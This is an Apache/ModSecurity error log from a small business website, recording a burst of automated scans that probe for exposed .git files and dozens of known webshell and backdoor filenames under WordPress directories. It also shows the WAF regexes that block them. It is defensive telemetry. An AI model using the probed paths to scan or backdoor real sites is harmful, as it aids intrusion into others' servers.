[Fri Nov 21 14:27:49.745745 2025] [:error] [pid 46276:tid 46294] [client 144.48.39.86:47506] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /login"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/login"] [unique_id "aSAGZXbpxuSAfajqqKP5KQAAAgs"], referer: www.windfarmcoolants.com.au/module/login/login.html
[Fri Nov 21 14:27:49.750171 2025] [:error] [pid 46276:tid 46286] [client 144.48.39.86:47500] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Fri Nov 21 14:59:59.324026 2025] [:error] [pid 25554:tid 25566] [client 213.21.239.4:37794] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aSAN7x-NtB-9AzFZrk4b3wAAAQg"]
[Fri Nov 21 15:15:47.969633 2025] [:error] [pid 25521:tid 25530] [client 213.21.239.4:53458] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aSARo_hXnBMilDddn3XB1QAAAMc"]
[Fri Nov 21 15:55:37.742672 2025] [:error] [pid 25521:tid 25531] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/manager.php
[Fri Nov 21 15:55:38.174196 2025] [:error] [pid 25521:tid 25541] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Fri Nov 21 15:55:38.632278 2025] [:error] [pid 25521:tid 25532] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Fri Nov 21 15:55:39.067427 2025] [:error] [pid 25521:tid 25530] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Fri Nov 21 15:55:39.498644 2025] [:error] [pid 25521:tid 25539] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Fri Nov 21 15:55:39.964750 2025] [:error] [pid 25521:tid 25547] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Fri Nov 21 15:55:40.428452 2025] [:error] [pid 25521:tid 25523] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Fri Nov 21 15:55:40.893825 2025] [:error] [pid 25521:tid 25537] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Fri Nov 21 15:55:41.795301 2025] [:error] [pid 25521:tid 25528] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Fri Nov 21 15:55:42.762152 2025] [:error] [pid 25521:tid 25547] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Fri Nov 21 15:55:43.227965 2025] [:error] [pid 25521:tid 25525] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Fri Nov 21 15:55:43.670966 2025] [:error] [pid 25521:tid 25535] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Fri Nov 21 15:55:44.105504 2025] [:error] [pid 25521:tid 25536] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Fri Nov 21 15:55:45.921461 2025] [:error] [pid 25521:tid 25536] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Fri Nov 21 15:55:46.396978 2025] [:error] [pid 25521:tid 25523] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Fri Nov 21 15:55:46.885526 2025] [:error] [pid 25521:tid 25537] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Fri Nov 21 15:55:47.338326 2025] [:error] [pid 25521:tid 25527] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Fri Nov 21 15:55:47.826313 2025] [:error] [pid 25521:tid 25531] [client 45.132.227.64:21999] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Fri Nov 21 15:55:54.253368 2025] [:error] [pid 25521:tid 25542] [client 45.132.227.64:21999] [client 45.132.227.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSAbCvhXnBMilDddn3XgDAAAANM"]
[Fri Nov 21 15:55:56.477762 2025] [:error] [pid 25521:tid 25528] [client 45.132.227.57:30769] [client 45.132.227.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aSAbDPhXnBMilDddn3XgIAAAAMU"]
[Fri Nov 21 15:55:58.747836 2025] [:error] [pid 25521:tid 25534] [client 45.132.227.66:46823] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Fri Nov 21 15:56:00.118805 2025] [:error] [pid 25521:tid 25524] [client 45.132.227.66:46823] [client 45.132.227.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aSAbEPhXnBMilDddn3XgUQAAAME"]
[Fri Nov 21 15:56:01.972993 2025] [:error] [pid 25429:tid 25446] [client 172.98.32.79:30181] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Fri Nov 21 15:56:02.449874 2025] [:error] [pid 25429:tid 25455] [client 172.98.32.79:30181] [client 172.98.32.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSAbEj4rZbRSr7vu-NOfnAAAABY"]
[Fri Nov 21 15:56:03.760806 2025] [:error] [pid 25521:tid 25528] [client 172.98.32.77:57559] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Fri Nov 21 15:56:06.024268 2025] [:error] [pid 25521:tid 25544] [client 172.98.32.77:57559] [client 172.98.32.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aSAbFvhXnBMilDddn3XgjAAAANU"]
[Fri Nov 21 15:56:07.338496 2025] [:error] [pid 25430:tid 25475] [client 45.132.227.65:54481] [client 45.132.227.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSAbF6pnWJcWt_4foXk8UwAAAE8"]
[Fri Nov 21 15:56:08.231470 2025] [:error] [pid 25554:tid 25561] [client 45.132.227.59:46637] [client 45.132.227.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aSAbGB-NtB-9AzFZrk5LwAAAAQM"]
[Fri Nov 21 15:56:09.170885 2025] [:error] [pid 25554:tid 25559] [client 172.98.32.81:40555] [client 172.98.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aSAbGR-NtB-9AzFZrk5LygAAAQE"]
[Fri Nov 21 15:56:10.098320 2025] [:error] [pid 46939:tid 46952] [client 172.98.32.80:24037] [client 172.98.32.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aSAbGu0OmVoxD4VZ_ZlmZwAAAUo"]
[Fri Nov 21 15:56:12.590635 2025] [:error] [pid 25429:tid 25451] [client 172.98.32.93:25663] [client 172.98.32.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aSAbHD4rZbRSr7vu-NOf4AAAABI"]
[Fri Nov 21 15:56:14.026060 2025] [:error] [pid 25429:tid 25444] [client 45.132.227.58:41243] [client 45.132.227.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aSAbHj4rZbRSr7vu-NOf6wAAAAs"]
[Fri Nov 21 15:56:14.962013 2025] [:error] [pid 46939:tid 46943] [client 172.98.32.89:20925] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Fri Nov 21 15:56:15.862947 2025] [:error] [pid 46939:tid 46947] [client 172.98.32.89:20925] [client 172.98.32.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "aSAbH-0OmVoxD4VZ_ZlmgwAAAUU"]
[Fri Nov 21 15:56:17.718872 2025] [:error] [pid 25521:tid 25525] [client 172.98.32.86:41843] [client 172.98.32.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aSAbIfhXnBMilDddn3Xg-gAAAMI"]
[Fri Nov 21 15:56:19.824045 2025] [:error] [pid 25431:tid 25488] [client 172.98.32.97:29811] [client 172.98.32.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aSAbI8klhXxmoIExII0rgwAAAIE"]
[Fri Nov 21 15:56:20.757999 2025] [:error] [pid 46939:tid 46966] [client 172.98.32.83:49865] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Fri Nov 21 15:56:21.195504 2025] [:error] [pid 46939:tid 46950] [client 172.98.32.83:49865] [client 172.98.32.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSAbJe0OmVoxD4VZ_ZlmpAAAAUg"]
[Fri Nov 21 15:56:22.080132 2025] [:error] [pid 25554:tid 25558] [client 172.98.32.99:39263] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Fri Nov 21 15:56:23.450141 2025] [:error] [pid 25554:tid 25571] [client 172.98.32.99:39263] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Fri Nov 21 15:56:24.851156 2025] [:error] [pid 25554:tid 25562] [client 172.98.32.99:39263] [client 172.98.32.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aSAbKB-NtB-9AzFZrk5MTgAAAQQ"]
[Fri Nov 21 15:56:25.719996 2025] [:error] [pid 25521:tid 25527] [client 172.98.32.94:32853] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Fri Nov 21 15:56:26.159090 2025] [:error] [pid 25521:tid 25536] [client 172.98.32.94:32853] [client 172.98.32.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aSAbKvhXnBMilDddn3XhRQAAAM0"]
[Fri Nov 21 15:56:27.071407 2025] [:error] [pid 25554:tid 25580] [client 45.132.227.64:38277] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Fri Nov 21 15:56:28.006979 2025] [:error] [pid 25554:tid 25577] [client 45.132.227.64:38277] [client 45.132.227.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aSAbLB-NtB-9AzFZrk5MaQAAARM"]
[Fri Nov 21 15:56:29.445000 2025] [:error] [pid 25430:tid 25472] [client 136.144.42.69:58643] [client 136.144.42.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSAbLapnWJcWt_4foXk9BQAAAEw"]
[Fri Nov 21 15:56:30.848213 2025] [:error] [pid 25431:tid 25510] [client 172.98.32.94:33041] File does not exist: /usr/local/apache/htdocs/suspended-page/natural.php
[Fri Nov 21 15:56:31.374907 2025] [:error] [pid 25431:tid 25500] [client 172.98.32.94:33041] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Fri Nov 21 15:56:32.257713 2025] [:error] [pid 25431:tid 25495] [client 172.98.32.94:33041] [client 172.98.32.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSAbMMklhXxmoIExII0r5AAAAIg"]
[Fri Nov 21 15:56:33.719200 2025] [:error] [pid 25431:tid 25502] [client 45.132.227.59:59907] [client 45.132.227.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSAbMcklhXxmoIExII0r7wAAAI8"]
[Fri Nov 21 15:56:35.196738 2025] [:error] [pid 25430:tid 25475] [client 45.132.227.52:49279] [client 45.132.227.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSAbM6pnWJcWt_4foXk9QgAAAE8"]
[Fri Nov 21 15:56:36.092970 2025] [:error] [pid 25554:tid 25575] [client 172.98.32.89:53125] [client 172.98.32.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aSAbNB-NtB-9AzFZrk5MmwAAARE"]
[Fri Nov 21 15:56:37.033637 2025] [:error] [pid 46939:tid 46966] [client 45.132.227.58:63111] [client 45.132.227.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSAbNe0OmVoxD4VZ_ZlnKAAAAVg"]
[Fri Nov 21 15:56:38.833861 2025] [:error] [pid 25431:tid 25492] [client 172.98.32.79:31563] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Fri Nov 21 15:56:39.286713 2025] [:error] [pid 25431:tid 25509] [client 172.98.32.79:31563] [client 172.98.32.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aSAbN8klhXxmoIExII0sIQAAAJY"]
[Fri Nov 21 15:56:40.143393 2025] [:error] [pid 25429:tid 25441] [client 45.132.227.67:51683] [client 45.132.227.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aSAbOD4rZbRSr7vu-NOgYwAAAAg"]
[Fri Nov 21 15:56:41.007870 2025] [:error] [pid 25431:tid 25509] [client 172.98.32.84:42593] [client 172.98.32.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSAbOcklhXxmoIExII0sMgAAAJY"]
[Fri Nov 21 15:56:42.737564 2025] [:error] [pid 25431:tid 25508] [client 172.98.32.100:52515] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Fri Nov 21 15:56:43.610725 2025] [:error] [pid 25431:tid 25507] [client 172.98.32.100:52515] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Fri Nov 21 15:56:45.344194 2025] [:error] [pid 25431:tid 25497] [client 172.98.32.100:52515] [client 172.98.32.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aSAbPcklhXxmoIExII0sYwAAAIo"]
[Fri Nov 21 15:56:47.505641 2025] [:error] [pid 25431:tid 25503] [client 172.98.32.83:41781] [client 172.98.32.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.83, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aSAbP8klhXxmoIExII0sgQAAAJA"]
[Fri Nov 21 15:56:47.942583 2025] [:error] [pid 25431:tid 25489] [client 172.98.32.83:41781] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Fri Nov 21 15:56:50.138659 2025] [:error] [pid 25431:tid 25500] [client 172.98.32.83:41781] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Fri Nov 21 15:56:50.632445 2025] [:error] [pid 25431:tid 25495] [client 172.98.32.83:41781] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Fri Nov 21 15:56:52.909108 2025] [:error] [pid 25431:tid 25499] [client 172.98.32.83:41781] [client 172.98.32.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aSAbRMklhXxmoIExII0sygAAAIw"]
[Fri Nov 21 15:56:54.338049 2025] [:error] [pid 25431:tid 25491] [client 172.98.32.88:49709] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Fri Nov 21 15:56:54.769229 2025] [:error] [pid 25431:tid 25488] [client 172.98.32.88:49709] [client 172.98.32.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.88, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aSAbRsklhXxmoIExII0s3gAAAIE"]
[Fri Nov 21 15:56:55.760222 2025] [:error] [pid 25431:tid 25497] [client 172.98.32.88:49709] [client 172.98.32.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/item.php"] [unique_id "aSAbR8klhXxmoIExII0s7wAAAIo"]
[Fri Nov 21 15:56:58.448809 2025] [:error] [pid 25430:tid 25476] [client 45.132.227.61:48261] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Fri Nov 21 15:56:59.445947 2025] [:error] [pid 25430:tid 25466] [client 45.132.227.61:48261] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_wlx.php
[Fri Nov 21 15:57:01.449139 2025] [:error] [pid 25430:tid 25479] [client 45.132.227.61:48261] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aSAbTapnWJcWt_4foXk-JwAAAFM"]
[Fri Nov 21 15:57:02.323396 2025] [:error] [pid 25429:tid 25433] [client 45.132.227.58:21947] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Fri Nov 21 15:57:03.664203 2025] [:error] [pid 25429:tid 25456] [client 45.132.227.58:21947] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Fri Nov 21 15:57:04.573096 2025] [:error] [pid 25429:tid 25435] [client 45.132.227.58:21947] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Fri Nov 21 15:57:05.475786 2025] [:error] [pid 25429:tid 25443] [client 45.132.227.58:21947] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Fri Nov 21 15:57:05.904900 2025] [:error] [pid 25429:tid 25446] [client 45.132.227.58:21947] [client 45.132.227.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSAbUT4rZbRSr7vu-NOhHwAAAA0"]
[Fri Nov 21 15:57:06.895946 2025] [:error] [pid 25554:tid 25563] [client 136.144.42.70:53869] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Fri Nov 21 15:57:07.366177 2025] [:error] [pid 25554:tid 25564] [client 136.144.42.70:53869] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
